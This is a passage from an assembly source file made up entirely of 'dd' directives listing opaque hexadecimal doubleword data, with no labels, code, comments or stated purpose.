49D0B8A0h, 7846E700h dd 0D7BBCFA3h, 0CDC11E30h, 92A54155h, 0C1F7179Ah, 7D682050h dd 0C3A8984Ah, 2A3F850Fh, 0F6035520h, 0A8A0DBF0h, 300AAFCDh dd 98C15BFAh, 4D876C00h, 4C99B990h, 0C316B152h, 9E7C0FFFh dd 0B51F7EDFh, 5AD78328h, 84D03155h, 877A0E5h, 0C971AF00h dd 7BF25B30h, 74C60079h, 904FE4BCh, 1901299Fh, 0DAD19320h dd 5C302156h, 0FAD60182h, 2BF045ABh, 85B0405Ch, 0C003344Ah dd 0B7418B3Dh, 60A0F807h, 0EFE4F7F6h, 198F3CBFh, 7406428Bh dd 0E83CAB80h, 0E400EADEh, 0C7C2DCF3h, 6028E7BBh, 9FF75055h dd 99002550h, 51613E79h, 0DFFB15h, 0E6107AD6h, 0CE9334F8h dd 0D00E3Ah, 17482D08h, 75EE1E3h, 63F46A5Dh, 9199202Bh dd 5004A479h, 82F6CBFAh, 401A7CC2h, 0F63F97Bh, 66F3D61h dd 53440AC0h, 8B00A227h, 42EA563Bh, 334F50Eh, 0F094BFBBh dd 0E2B05047h, 38243C0Fh, 3A0FA017h, 0DC86C0B2h, 3D9FC55Dh dd 8A001156h, 0F31BCF18h, 72387B08h, 0B7F180F6h, 9AC1A09Bh dd 8F7C61h, 2389F5EBh, 73C7F42h, 2D9BA900h, 0A3117806h dd 0CE3707C7h, 0E0E3D3FFh, 0AABCD64h, 8A53A203h, 0ABA1FDF5h dd 0EDC2D025h, 0DC580FBBh, 0E5801DE8h, 0C4809B27h, 9A9F8313h dd 8E4AA800h, 15D1E46h, 59184C20h, 0C4351155h, 0D98A936h dd 0B92B0F28h, 0D568A707h, 0F0014358h, 0ACC47BCFh, 1A5401FBh dd 0B83489D6h, 22C02ABCh, 790B238h, 0C7D3134Ah, 0F754605Fh dd 970FF834h, 601771A2h, 0A4CF1FF5h, 0A9E62C30h, 0D54A6048h dd 0C602F6E2h, 60FD4279h, 0A88BAEh, 32E41F3Bh, 139818h dd 828F9766h, 22BAEAB1h, 962C881Fh, 0D4E2B0F0h, 6AC10906h dd 8C000745h, 3E42AE17h, 13B46C20h, 358CD9h, 304C5E24h dd 5400F919h, 0C199BD7Dh, 6B26D5h, 0DC62D3C7h, 7CA2154Ch dd 9CB09A05h, 7D8082C4h, 28EF37h, 8733B2D3h, 1A60FF63h dd 0E9FDD903h, 0F46D05h, 0C2E29E10h, 5CD73E41h, 6FDDF00Eh dd 31680D6h, 3C435B8h, 86A04651h, 0A2988D0Eh, 0DE019059h dd 3C1A7EF8h, 4893E93Eh, 9F7C0049h, 0A2A827CEh, 0DD0C6302h dd 80F2FEE3h, 91E1EBF4h, 25B90397h, 7EF7118Ah, 0E81557E1h dd 1EC741Ch, 0E2073D79h, 0E1C76E87h, 9F4FF7B0h, 5ACE0081h dd 454CD9E6h, 673DA9FDh, 638D0082h, 0BD030D84h, 2D4918Ah dd 3F237EDEh, 36464840h, 751C7200h, 56A3BA4h, 31801473h dd 3800AC3Ch, 69FAB9E8h, 48C071A7h, 0E1B39EE4h, 26C00059h dd 21E34EC4h, 9B0B6496h, 80245120h, 3F2B06FEh, 0CCF2BAh dd 0FFD151Dh, 0F11E477Ah, 33F5CB07h, 0BE90E6B4h, 383FB7Dh dd 0E0D546A3h, 56A3CF31h, 0C6156BA9h, 30203060h, 8E7F1313h dd 16C82Ch, 0C6AB929Ch, 22153671h, 4B6F6405h, 9AC5F72Eh dd 47E05687h, 0CED131h, 3754B826h, 0F70CA8D3h, 5B6D800Eh dd 0A60E20C9h, 0B06364h, 137FFDD8h, 0B6A53B2Bh, 6A26100Eh dd 0D5DC003Eh, 3B7CC44h, 6C035D4Bh, 0D4F0856Bh, 2700C06Dh dd 29969D23h, 7EF7640h, 0E42C4FDCh, 80462781h, 8A45DA78h dd 382ABB00h, 962F7335h, 0F55B03Dh, 0DD6856C2h, 7CA08C81h dd 150D6081h, 2C59A00h, 7865824h, 4DCC7484h, 0BE00FC3Ch dd 40C3DADDh, 89003DFDh, 4FCDC097h, 567276h, 9177957Fh dd 0D8F218EAh, 82781048h, 63685AA3h, 7FEBA867h, 8077C8h dd 77B6FD36h, 0F4CD751Ah, 0FD309E2Ch, 54419400h, 3C35EE92h dd 5C2E71B2h, 0F2090CCDh, 0F4001788h, 9918311Bh, 0BA94ABD1h dd 7F1958F0h, 55EED901h, 0D0578BB2h, 7B137E1Eh, 2400DD3Bh dd 7F60CDBEh, 56381E09h, 0E0A80063h, 297132FDh, 7F7C5E5Ch dd 487C1828h, 6153BBA0h, 0F3525407h, 93E6D210h, 8D110071h dd 9217281Bh, 8100B9D1h, 75CA802h, 9762740h, 40C67F4h dd 8E60F60Eh, 24C1E739h, 5C733Eh, 208CB7D7h, 98F7Fh, 2D2F8E14h dd 92B1B07Eh, 0DB3EA01Eh, 3AFBFEC0h, 7FD262Eh, 0B0180A49h dd 3B01B180h, 0B719D887h, 0A1C77A09h, 5A3180CAh, 7C04DD08h dd 33AC00D0h, 97DA0981h, 4A008318h, 39690625h, 9317198h dd 0A4A250A8h, 5C552200h, 753B578Dh, 0B3F11h, 644E4FFCh dd 18679C76h, 83CDB54h, 0E8C18EF9h, 0B84E9D99h, 7FCA56C4h dd 59370047h, 63D3BFA6h, 0DFE0FB7Fh, 12707172h, 0E9775107h dd 0BDC07C08h, 0A5CAA7Ah, 0A3458705h, 6B251110h, 54550381h dd 0D28CA0ABh, 1450113h, 6C8EFDCDh, 8F35F0CBh, 2086D0FBh dd 62290D60h, 17402F2h, 81D0D7D4h, 0D1AD6787h, 8C7081BAh dd 4E0465C0h, 9F4140CEh, 0B520036h, 8D5590DBh, 5D50970Ch dd 21436C2Ch, 96046006h, 2C8850D4h, 0C280A93Ch, 0E404507Bh dd 0C5173939h, 8569780h, 535BF350h, 303C9100h, 4EBD019Bh dd 166A0022h, 0F8EBBCB5h, 0F700DF3Eh, 6746E8FBh, 0AA3D85h dd 34B3DBFFh, 0E23FE76Bh, 3F4AAE48h, 1A710144h, 0FEB4404Ah dd 9C2C60h, 899BAF2h, 0C306B78Bh, 0D307C1F6h, 0FF788535h dd 0A060F1D0h, 52F8C2h, 0B1DE2D2h, 719A5A7Dh, 0C4010878h dd 10756EAAh, 2DDCE1C9h, 8F8400F9h, 36EFB6E6h, 93EA44D6h dd 0B2A08804h, 56C0AC77h, 72B73ECh, 0FD157C9h, 5C041A56h dd 18119E28h, 75048Dh, 0A2D5AA79h, 0AE0EBBE5h, 41986A48h dd 0E1B9727Fh, 84D2C4h, 5A7566EDh, 10F7CC8Ch, 2142BA0Fh dd 5417432Ch, 0D158C85Bh, 0D07400E8h, 0CD4263Dh, 7B0065D8h dd 3757FA25h, 0E2DCF19Eh, 2CD11EA8h, 6185BFD4h, 3851B71Ch dd 40215C20h, 8FB4802Ah, 0EAF57560h, 0E5888360h, 0C012D073h dd 0C4556AC8h, 0F182130h, 3410A515h, 3738844Fh, 0AB018054h dd 1841A410h, 0CB070195h, 8E8844B2h, 66F0F3AAh, 1C0084C7h dd 68AFB1F2h, 0A35A1D67h, 0E355A884h, 0F460EE7h, 5E0F0EA6h dd 99208818h, 0B688F618h, 0A541928h, 10AE2C8Ch, 661440B4h dd 0EC00707Dh, 448A3FE1h, 71E8415Fh, 65892816h, 90D53630h dd 677B088h, 20998468h, 0B0894543h, 853DD66Eh, 42EAEB43h dd 27820B0h, 0E85F8489h, 213E1508h, 0C04CFC9Fh, 0B12D1091h dd 0C103A841h, 5A7F6981h, 6E28246Ch, 83208913h, 2A00C00h dd 0E875AEh, 618615F8h, 5439738Eh, 5B007498h, 74EDF7BBh dd 122D13E1h, 3A15AD4h, 2580CF14h, 87207AC7h, 91A6862Ch dd 1F5A2F71h, 0C0268B22h, 10AB5091h, 0EB5FE000h, 0E66BC9AFh dd 1BD01144h, 19F604AEh, 1823E1E7h, 38E06098h, 460420A6h dd 0B093A3F3h, 80877C7Ch, 0BD1143B0h, 0D9FF44B4h, 0AD140FAAh dd 2042AC6Dh, 715FBD01h, 156DE42h, 391A4B30h, 809842A9h dd 0F811BF85h, 21F0B262h, 0A08EE8C7h, 118DF7B0h, 0F00D0233h dd 0A6EC7105h, 5E4D3820h, 0D5F85D05h, 0A1406CAFh, 20AEB577h dd 0E62144FCh, 6A9C507Dh, 9605C0A0h, 13564844h, 1A76E9h dd 7495D154h, 4C9817C0h, 341BB00h, 5F974DB2h, 85CB1379h dd 9581C2Bh, 380E5713h, 1D729C63h, 9654D2ECh, 0FDA82098h dd 50952321h dd 187E389h, 27D8D019h, 7D211F58h, 94CBAE0h, 21C08D01h dd 1152664Bh, 0F1595C38h, 10AE6D5h, 5B244B22h, 405EFF0Ah dd 406C8D21h, 7D6D084Eh, 51F95D62h, 0AC02404Bh, 5E130FAEh dd 20E5523Eh, 745D56C7h, 0E9222A2Eh, 0CD18B04h, 28802E8Eh dd 99157332h, 8B9980A8h, 0B3332CB2h, 0E55F4285h, 4030C865h dd 4281117Ch, 0EAC3A1EFh, 4284C0Ah, 52AA3972h, 6037212Ah dd 5B568A5Eh, 40C4A4FEh, 0CB68B919h, 35E6C0C0h, 99DEF3h dd 6317740Dh, 0FF7BD81h, 0EA833707h, 0C8C0028Ch, 5F6BCh dd 3036F90Bh, 7F5C3C67h, 120A753h, 0FA3460A6h, 880A707Eh dd 6C765890h, 0C37ECA08h, 0B42054B9h, 0EA8A0C69h, 3328B593h dd 0A2B1871Dh, 3577003Eh, 7D964763h, 0A7FF0059h, 5A09205Dh dd 7CE253C1h, 4582E13h, 0C441291Ch, 102CFF5h, 0B7C7C2E1h dd 20303485h, 42073DA4h, 0C372A1BCh, 0F6C20F0Eh, 0F9F9A8B1h dd 7404BD6h, 0E64FBFC8h, 4B1AF9E8h, 82570420h, 292AE44Fh dd 6B606066h, 0AF2655C7h, 0F06A1020h, 7F3E2C79h, 0EE988F97h dd 0D6F3C1h, 585BE30Fh, 98ECC4F9h, 9475BD0Fh, 0CADA030Ch dd 0FCFEE8F5h, 1AD126Eh, 0CC1000D6h, 8F057F3h, 0B112742Eh dd 819CF21Ch, 2099754Ah, 0D6CB6E80h, 47289D9Eh, 806DC815h dd 85CD7F66h, 7701F90Fh, 95A6DDB6h, 0B0807855h, 3DE6ACB7h dd 0B41DB823h, 0C2DF5E9Ah, 0FA619903h, 0BEF00078h, 0D47EE7BDh dd 7FF01607h, 0ACB320A8h, 0F808E904h, 0A87CBE42h, 0FF9B8187h dd 1FB76EEDh, 62007C22h, 0C7EF99F2h, 2493C2F5h, 0E3E8363Ah dd 28DF0B7Fh, 71B02654h, 4017008h, 5146C121h, 0C02833FCh dd 2E6D918Dh, 548A8F34h, 0A350207Ch, 672B210Eh, 605C4851h dd 0BC6304A2h, 2A372EF0h, 2070527Dh, 403D7281h, 21405E3Bh dd 63086040h, 41E8B7C5h, 73184285h, 85082094h, 541F495Ah dd 0CAC0A452h, 0B905A0F0h, 2078D4EDh, 0C072531Ch, 57504A81h dd 2B205E44h, 0F5804050h, 0D7F78A60h, 0C33447BFh, 0C4087C65h dd 0D562FA60h, 59122510h, 0C116EEA9h, 9720B240h, 0E8880AA9h dd 21CD7C78h, 2C5116F8h, 60F2030Bh, 0CC8250A0h, 6AE0212Ah dd 0A87B0E40h, 0C220ABFFh, 609472DCh, 0DBCEC408h, 1052544Ah dd 8789C120h, 850AA259h, 80387034h, 0BD201044h, 5244A84Fh dd 0CE812071h, 0AD12320h, 8078B888h, 76C2218Bh, 940CC53h dd 7FAFB66h, 6E32C203h, 78337208h, 0D150918h, 54007195h dd 5CD2F288h, 0A07828A0h, 0E68220h, 0C365BFACh, 0CB77FBC2h dd 7098FF1Eh, 360C783Eh, 38B36163h, 3D3C3944h, 0AE510B31h dd 3BAD0080h, 20C254A0h, 871078F8h, 2183508h, 81FA8542h dd 49D78E00h, 580C6191h, 8E54EE82h, 8819D431h, 56D0208h dd 0DD000927h, 0B832C68Fh, 4DA300C0h, 0AB377E2h, 800CEEDBh dd 39ED3C42h, 0D07E5DFDh, 5FC77000h, 0B56DD44Dh, 5386F100h dd 0E3FB605Dh, 0E051006Ch, 0F5D83EB1h, 70EDD3D6h, 37283C24h dd 0AC50EB71h, 0D3AEEB0h, 0E8E6003Dh, 77F8E0BDh, 76CA0772h dd 15630A3h, 6080A1E5h, 0E429C890h, 11EC860h, 0F1FA6230h dd 0F5C5384Ah, 18237E80h, 400A585Ah, 1422171Ch, 68CC6830h dd 5FF270h, 1ECF9951h, 0A073933Fh, 72F10709h, 0CA8055B7h dd 0CD2E477Dh, 8D437614h, 4B6680F0h, 3720537h, 2090F6DCh dd 0BAD89739h, 6A01E9A2h, 7FEA4156h, 48802E60h, 79510315h dd 85782C02h, 14726902h, 90BD10B3h, 376542A4h, 91603D09h dd 40EE810Ch, 1BE606E4h, 0DCC3FCA0h, 34FF9E00h, 0CF52E056h dd 27B70015h, 901A9B2Ch, 0C32E6337h, 0F9190C6Bh, 28703230h dd 1CE75CDDh, 2D4F868h, 0B1CD6F0h, 612218E3h, 0D4CB04E9h dd 80F52F0Ch, 0BD6EA55Ch, 88E31530h, 48FFEA8Ah, 371DA49Ah dd 3A208C81h, 63033450h, 597C11E7h, 0C6790FF8h, 0E1783C8h dd 74C075D5h, 0E6A6B8CFh, 0B12AE20Ah, 8257A849h, 9EC5B0F1h dd 0D77F0840h, 0E8AD8930h, 6F11F27Bh, 0E50118DBh, 40CD2A3Fh dd 0C6F3EE80h, 30742E48h, 0FB5FB1FCh, 0A4BC00A1h, 345A9A98h dd 3905A68Ch, 0E2C5AC43h, 0F7EE8009h, 0E0700F06h, 1CEDF500h dd 0F106E1C1h, 7F49C081h, 5CAC18F2h, 2A241548h, 7D2AAC35h dd 0E63D8CE4h, 64C88Ah, 0CEB74285h, 0F69B55F5h, 0B1C20AF6h dd 8750BB48h, 900B4B3Ch, 70B0A624h, 89B85606h, 5121C94Ah dd 0F083C038h, 0E4B28887h, 0D3428800h, 0BDEBF2FBh, 0B9AA2A80h dd 0C3448FCh, 0C4B37BC4h, 28705200h, 32004700h, 5DB20312h dd 907FAB87h, 50B8072Ch, 10BDE9C0h, 85F90F5Ch, 0BBE53A03h dd 0F878A789h, 63EE4A56h, 0C2CF68FAh, 0FB127B0h, 9E8D159h dd 88E5C172h, 81408890h, 12073BE1h, 2836D99h, 0E83FE208h dd 0E8C27049h, 249181DAh, 0B0C0490Dh, 84213A40h, 4034F5B1h dd 0CC235809h, 0A4EE1050h, 9BCC3CB8h, 8AC2A5h, 209A1249h dd 0C61BDDB4h, 4039650Fh, 140FD3A7h, 2F6103C3h, 481002ACh dd 33607350h, 52007C58h, 0AF3664E6h, 0E2E5A051h, 40CD4994h dd 0B5893F7Ch, 7F650A03h, 0F0247521h, 7B1D4C10h, 0C8F312A0h dd 18E4868Fh, 0FF082F43h, 8388CEB7h, 76341ADh, 20B712C4h dd 814F5D05h, 0CF00CC7Ch, 0E7B802F9h, 0C20DEB7Eh, 759BE0B8h dd 4BCC8C80h, 0A0A15E93h, 0EA8BD812h, 0C4EFBE4h, 32EDB044h dd 0B606801h, 8E409FA9h, 80CEE15h, 3A5AAADBh, 4A8F596Fh dd 0C804B169h, 1BD682A1h, 0B9F15868h, 597F6988h, 0C789091h dd 0ACDD607Ch, 661295C1h, 800ACAF6h, 0E6502497h, 18BE6C42h dd 88BADD48h, 8960A880h, 10B0AD44h, 43CCE0BEh, 0B6620930h dd 60A2D893h, 0BE5948B0h, 0A314EA88h, 88800D98h, 0D76C64CBh dd 9BAC408Ch, 0E23C3761h, 0E826245Bh, 0A483910Ah, 42FB9001h dd 0B064F6F5h, 0B18F0CFAh, 4188FFCEh, 950F2490h, 3C7ECA1h dd 0BC660FB7h, 4C470F0h, 7D3FB101h, 885CE187h, 0C2073C78h dd 0FD19B82Fh, 80432E1Ch, 8E04679h, 42CF84D1h, 113073B1h dd 1CEB8694h, 591C21C3h, 0C28ECD08h, 56185402h, 0E9E88CE3h dd 0FD11C242h, 3B7C277Fh, 613121B4h, 0D97E9703h, 77983C88h dd 0B17DE007h, 45CFF5DEh, 211CE930h, 10087218h, 27FD34C7h dd 7C03E389h, 0C0116AC6h, 228288E1h, 7210092Eh, 0E330A4C3h dd 56316048h, 0F91F9C7Dh, 881F215Dh, 0F7C217D0h, 0B9102E6Bh dd 5A108C8Bh, 6A8A0D9Bh, 32A46F3Ch, 0B84922C5h, 41E521D8h dd 1FDC300Bh, 959A021h, 840AB51Bh, 7FD50A9Ch, 0A56D471Ch dd 20580408h, 0C2EF6018h, 9D23845Bh, 3D320481h, 0B8622202h dd 8634D5F4h, 0C56CD149h, 9432B865h, 2D3044ACh, 33F07Dh dd 0E28D3108h, 9CA0440Bh, 0E043EB48h, 48545128h, 6708E48Ah dd 6D18097Ah, 42181B31h, 6C55295Ah, 0C486168Ah, 90E13A62h dd 42ED2D6Ch, 714976C7h, 9F39F160h, 917DB423h, 1E695078h dd 711841FFh, 619C587Ch, 2384D653h, 7C7B844Ch, 878D212Eh dd 21BA6C48h, 32080920h, 0FEA8CEE5h, 149C0164h, 0D4EC0365h dd 0AB533724h, 83B58FC0h, 40F4AF01h, 8296FEAAh, 0DAF065E1h dd 11C60086h, 53233B57h, 92F4A1D6h, 0CF0025F0h, 102909E1h dd 7836A9Eh, 498EFD51h, 0D814800Fh, 5F0B2AA5h, 0ECD24D3h dd 0B565CE25h, 84C3233Ch, 2180D33Eh, 110D44Ah, 2D60D218h dd 96B0DC11h, 0E39BF6D8h, 0CC24A88Ch, 3A218D61h, 250304D7h dd 30C60CB4h, 8088786Ch, 0B10C44CDh, 0A056719Eh, 0C1146120h dd 808E66Eh, 705C10ADh dd 25C98526h, 602B304Ah, 5E54DE60h, 5CBA8982h, 143559Ch dd 822E9511h, 100736DEh, 3CA45A5Dh, 9CC9F129h, 0C38CDB88h dd 2BC7DEEh, 632EED7Fh, 25DDD0A5h, 967300B9h, 0ACAE5CD6h dd 8106591Ah, 0CCFACD83h, 4D201F20h, 8EDF0FAAh, 904B2B80h dd 0C5F8D6BEh, 99036EFAh, 0C85F2D57h, 1B300EE9h, 0D8F960D2h dd 78245827h, 0E5814304h, 0A2306F2Ch, 0E08011CCh, 23E84054h dd 0CD6506F8h, 58445F19h, 0D106A7DBh, 0E83E58E5h, 8C9EBCB2h dd 889866ABh, 8DE10D1Ah, 0C119102Ah, 0FD4801F5h, 98BBBE40h dd 90780376h, 0A66AEA5Fh, 0A8885DDAh, 29970CCCh, 0E07E1458h dd 27A3F802h, 90A687B9h, 429B1394h, 3BFCC3B5h, 9FE02280h dd 7C29500Ch, 33DD502Ah, 269044CAh, 0FB2C110Ch, 979299Dh dd 3B61EFF4h, 2A192000h, 890DE3Dh, 0AD1D5C19h, 4A10C138h dd 320FEF66h, 8F0F50D8h, 9CA88A98h, 2084B8BFh, 8DA22A92h dd 2993F8CCh, 91A45E2Eh, 21E0477h, 9480B15Fh, 48F2FDE5h dd 39607096h, 0EF8C8820h, 8454C924h, 8B70D500h, 24464A1h dd 6B8F92BDh, 98A02360h, 4D49EFF8h, 65F2603h, 0E68BA929h dd 6840F5E1h, 9239EF8Fh, 0BF50CEF4h, 5090972Fh, 0C1C58584h dd 3C005F8Fh, 8BE24D21h, 7BCA2FEh, 0F38242E5h, 5C0881F9h dd 0F450C7B1h, 92C2FAA2h, 0EF5A14D4h, 0BE02F43Ch, 0D3034548h dd 22EC0C40h, 5118C60Ch, 50DBE8DCh, 0D83B8C9Ch, 786D7011h dd 30841B28h, 0D4A10E1h, 5D7688C6h, 0E81A1098h, 38B1475Ah dd 0FA87F9E0h, 34E50206h, 54ECA5ABh, 1A8D48A1h, 0B74A1009h dd 0C850527Eh, 72FD4B04h, 30E414DEh, 0C815195Eh, 0E3B20A42h dd 80897Fh, 0C6AA1E4Eh, 14F08D3Dh, 1846D32Ah, 4015D9F0h dd 1B4B6BBh, 5A995394h, 4AF0B3E4h, 2A8D27Ch, 0D4C20178h dd 0A1035F07h, 0FDF10998h, 408F8052h, 79AB50A7h, 0B5A11480h dd 0D552025Ah, 0BEFD008Ch, 589E0E7Dh, 28AA68ABh, 402B1864h dd 98A91E76h, 1341F818h, 8CD83118h, 720D6540h, 90DF61DAh dd 11055F27h, 0CEFDD8B7h, 2D018A2h, 0F06377E8h, 40400DE9h dd 220B2659h, 20AA485Fh, 6D50BD40h, 0F4A89236h, 95C32491h dd 9FB98C2Ch, 0ED160958h, 6841327Ch, 343A0ADDh, 0BB04B840h dd 296561F0h, 225CD8D5h, 81850654h, 7B916642h, 5328A059h dd 0A8495426h, 10466241h, 0B3007839h, 6E93DEE4h, 0EA20C1DDh dd 4C3E5B7Dh, 0C34BC3Eh, 0B033B1E0h, 0EE1E0853h, 53C92CCh dd 0D6C39735h, 825B449h, 0B1002C30h, 0AB5A5CDBh, 0A4DD80C7h dd 873D2B03h, 0E3598538h, 9E3924D3h, 40DB61ECh, 0EF244826h dd 0ECAE8400h, 56E0E4BEh, 48E15131h, 0EAB4EC20h, 4EE98B92h dd 69E4402Bh, 0DA01EBFCh, 0FACC67B1h, 3050DC5Bh, 60BB19B7h dd 704E99D5h, 23545476h, 4D0F7108h, 14DEA559h, 50EE2CBCh dd 6E82608h, 6828E9A8h, 4001DB13h, 8F04BC5Eh, 3CCC32C5h dd 1CF2225Bh, 8385C75h, 0F1CC305Dh, 1B58B4A2h, 119863EFh dd 0F12B1BF9h, 7088347Fh, 0BB64D90Eh, 27A166DAh, 21750F58h dd 2C6B6CA0h, 71620C06h, 9C9EB216h, 5F15FC5Eh, 0C8E85134h dd 518808E4h, 59442437h, 92B36038h, 7C092BB2h, 30E550A1h dd 4CD59008h, 4C040C5Ch, 80606A0Dh, 236E1BA4h, 360A069h dd 0F27CECF5h, 0CDAC4388h, 874385FBh, 481671A8h, 0B7707459h dd 0B22C9C50h, 897CEA3Dh, 3EF8BB1h, 0A902B74h, 0A5B6D668h dd 21F424A8h, 52530120h, 80C0478Fh, 6B2101E9h, 0B88C340Fh dd 24C449DAh, 1E693E01h, 917F9960h, 53049018h, 0D0E55E79h dd 80B48A5Ch, 40F078D0h, 8C014610h, 1DC984EBh, 0BFC15C98h dd 0B919D050h, 9A2DE05Ah, 0C8F6F094h, 1491F20h, 8127AEB7h dd 5C9D1182h, 18879502h, 37AE5235h, 6AC3344Bh, 12E52021h dd 9D100A0Bh, 0A951608h, 2183FEDh, 0ED0252CAh, 932C23h dd 0F25162D9h, 0E62BE1C6h, 0EC12B0A1h, 9C90AA31h, 92FAD612h dd 0E96B600Ch, 3D2813D5h, 1145377h, 69AD6370h, 62E86076h dd 5B6AF8A8h, 5DE824ECh, 3393D200h, 0DB2685DCh, 5A4200F5h dd 825F877Bh, 4E24FD51h, 0DA010CA1h, 0C3FAC7EAh, 0AC96F450h dd 7FE4A86h, 729BF030h, 184091AFh, 83717F72h, 12FD4738h dd 5000123Fh, 9BEB07CDh, 70E748ACh, 9248210h, 21455F5Ah dd 2B29FDFCh, 0C8242AE1h, 9D8135Eh, 68A400C5h, 87FDADABh dd 2800B0B0h, 45DBD12Dh, 0FEE7E013h, 6247CD6h, 0E5DD1F9Bh dd 5620B1D8h, 4C7131DCh, 225FB071h, 0B5D01834h, 78474B10h dd 0DA40C61Bh, 2944A0E2h, 24A0B990h, 0D825019Ch, 218BE705h dd 46241060h, 600422A6h, 184C5952h, 24A9CC8h, 57996A82h dd 5CC4DC2Bh, 0B0C3D002h, 0C059B14Fh, 394108E0h, 7E807F6Fh dd 5AE11BECh, 9E480A0Ch, 39D73314h, 3383E41Ah, 0B1181107h dd 0E20416DFh, 0E31D541Dh, 0B127A00Ch, 0BC80819Eh, 0C89D2EC9h dd 0A40D541h, 0BD9801C7h, 80D3C084h, 0C1FC7118h, 327C221Eh dd 111A1070h, 0F5CA019Bh, 0A8289817h, 111F11C8h, 0E7040013h dd 0A02B18C5h, 0AAED2478h, 49F02055h, 500560AFh, 80985D0Fh dd 0B6DA1AE0h, 130F549h, 1B2B1943h, 80202A90h, 0E0E4AB32h dd 1062299h, 7D98B2EFh, 20D63477h, 0EE612E6Ch, 5BFB6019h dd 0A82298C1h, 0A0F97A30h, 0D70FE56Fh, 3851DA8Ch, 600A9038h dd 651728EBh, 69057289h, 9447FF58h, 0DFD05C00h, 1F44CE31h dd 4F8B0CE9h, 2B063FB4h, 523C11EFh, 0EECC1133h, 9B506020h dd 9F815810h, 300F2041h, 1180A9E1h, 13ED914Dh, 0BD01F6D5h dd 4A8CF85Ah, 2080C3B0h, 0DE69B625h, 0F07D109Dh, 5CCAA200h dd 812CB9A3h, 4FCE00C7h, 218A061Fh, 0A000FF42h, 9083B3E2h dd 4AF869h, 0F3E87687h, 0DF6FFD95h, 789C8D4Ch, 0E133E0EBh dd 0EE2CB20Ch, 4603063h, 0D387104Ah, 3878C0A5h, 67008889h dd 0BC3DA8B5h, 25311Fh, 6677C27Bh, 2DD784EEh, 7F397600h dd 46890788h, 642C52B8h, 24904072h, 0A0BAF8F7h, 28E24320h dd 7C80B168h, 4C290C90h, 6911C61Bh, 34B97C01h, 2DE5B202h dd 0F901A453h, 784A3194h, 8FF05B03h, 0EFE005D5h, 0D767C8B4h dd 0BFD17479h, 0A8571FBEh, 0C0B4DA83h, 15EED945h, 0C46683AFh dd 63380500h, 3EB35FBBh, 0A4408A68h, 3D23FD00h, 1B6FD60Ah dd 31FB0732h, 9DCC02F8h, 10C0E8FEh, 81A35210h, 146E18F7h dd 0CB4471B9h, 2505B3E4h, 3F4A802Bh, 804770C2h, 65C838A0h dd 0D867C8Ch, 9B3DFD8Dh, 7DD81A79h, 78F2B340h, 969701DDh dd 0F76973A0h, 71B7E0E4h, 0E018E00h, 494F4E8Ch, 2E3707A1h dd 0F5C159F5h, 0E89019ACh, 9C86E694h, 5B127131h, 44034CF1h dd 1EBD8C36h, 0E8FB5311h, 97070038h, 0F601C9C7h, 0A1FA855Bh dd 398EBF30h, 7CFD1513h, 0EC050548h, 3204B9AFh, 801A3DA8h dd 0B687484Ch, 818CA740h, 83F1BFBBh, 0B7E84CC6h, 0F1A218F9h dd 0F32CA0Ch, 462210E8h, 6B401250h, 8D444042h, 85311D74h dd 80BCF648h, 23C1BDEDh, 0B44A5581h, 624B14F0h, 7B53D994h dd 593080AAh, 3744103Fh, 6193304Ah, 0FF395B70h, 0E187E8A0h dd 0D732000h, 9DBCBE06h, 0C84451AAh, 2CD3B001h, 5B089C23h dd 9F7B995h, 84204A79h, 0DD19CBF1h, 9039C8D8h, 0A8E240h dd 4C8CFB41h, 0A55BB443h, 0F7C8BCABh, 0A7207F7Ch, 60B00C3h dd 6F9367E4h, 8460A00Ah, 219263C0h, 6E542632h, 87AABB4Ch dd 366912ECh, 0A3442095h, 0A250F6CFh, 6414AA84h, 17415A9h dd 11A856B0h, 7C32B7CCh dd 0FE01E100h, 9A4B9C5Bh, 7F8E7D0Eh, 0D83C86A0h, 0B5CCE5D0h dd 0CFA911B4h, 85610CB3h, 3E7CB16Ch, 193C0BCDh, 4F7E3800h dd 0FA65173h, 663CF901h, 0D7A17988h, 7B8A020h, 0DDBFCD89h dd 0F89452C5h, 0EA5000C0h, 0E8C2848Bh, 2F052F98h, 0F7082332h dd 11C03030h, 0DAFB68Eh, 633DFC6Fh, 706AF098h, 3FE4C609h dd 0CA289031h, 6E300673h, 0C86CB533h, 390D1C20h, 97304C82h dd 0F1FCD951h, 11B79C31h, 0F1A6B817h, 24BC2A4Ch, 8C2888C9h dd 17B94B82h, 0E829AC60h, 49A32428h, 3E05C0DCh, 21CAA81Ch dd 0E6E0329Ch, 154A09C0h, 6AF22B15h, 0A81B03B0h, 3F32D2CFh dd 7003768h, 0FE8C5908h, 79017E19h, 0B53B29EDh, 10889E4Bh dd 0AC903158h, 67148021h, 84828BAh, 70200C64h, 2E222540h dd 4A009844h, 29BFB4ECh, 0F09E2F7Fh, 0AA08A124h, 0C01D9900h dd 1E0165F0h, 6488607Eh, 48805696h, 593AEB19h, 0DB0C25B1h dd 182B04E3h, 0E6611BBFh, 8C038E1h, 503C12F6h, 56F675ACh dd 857434F6h, 4462D200h, 8CEBE445h, 60067908h, 0BC12886h dd 0F73A6738h, 32771301h, 8A8C9200h, 7CC45827h, 8E4014F6h dd 51800C37h, 0A79D1ECh, 0FB074B7Ah, 5AC730FDh, 269E809Fh dd 54E1F251h, 9240C9h, 6D8E5296h, 30257904h, 0C0FB9701h dd 0C28A073Ch, 56CC080h, 0BF768E1Bh, 0DD7C49ECh, 39E8A960h dd 942E31h, 0FB903A07h, 7DD09F87h, 632B5605h, 940140E0h dd 0FA6CC28Fh, 0B0BF69DDh, 5DF6148Ch, 3B3011E8h, 0E3616835h dd 60BF7E87h, 342E4059h, 0C8C34A1Eh, 0FB49A61Dh, 9D0E051h dd 9AD93E26h, 0B91EC800h, 4898AE44h, 2DC70A05h, 0E010497Eh dd 40EC3AF8h, 4B28016Fh, 7FFE46FDh, 38822064h, 0A61C5603h dd 3A541D2Ah, 0B4A09158h, 0CEE2F6F2h, 80F218C9h, 3A889372h dd 0E78021Fh, 9F47CD6Fh, 0D1F68880h, 0A8A06037h, 0FB00152Dh dd 7045932Ah, 8D24FEh, 0D3C5765Bh, 59F936B0h, 5008303Eh dd 6C0638B8h, 48F2A1CDh, 8B7CFE48h, 0EC7E1DE0h, 0B3D918D8h dd 0D93B30CEh, 52F6B8B0h, 28DF0980h, 849642h, 345E31A5h dd 0B8204899h, 0F9EC2700h, 3B0471D0h, 0F8F264BFh, 124437BBh dd 85F9321h, 5540212Ah, 25021E64h, 4720498Bh, 286E544h dd 580B7F2Dh, 0F177317h, 99CC932h, 8006A14h, 0A3334B5h dd 568A7912h, 0FDC02400h, 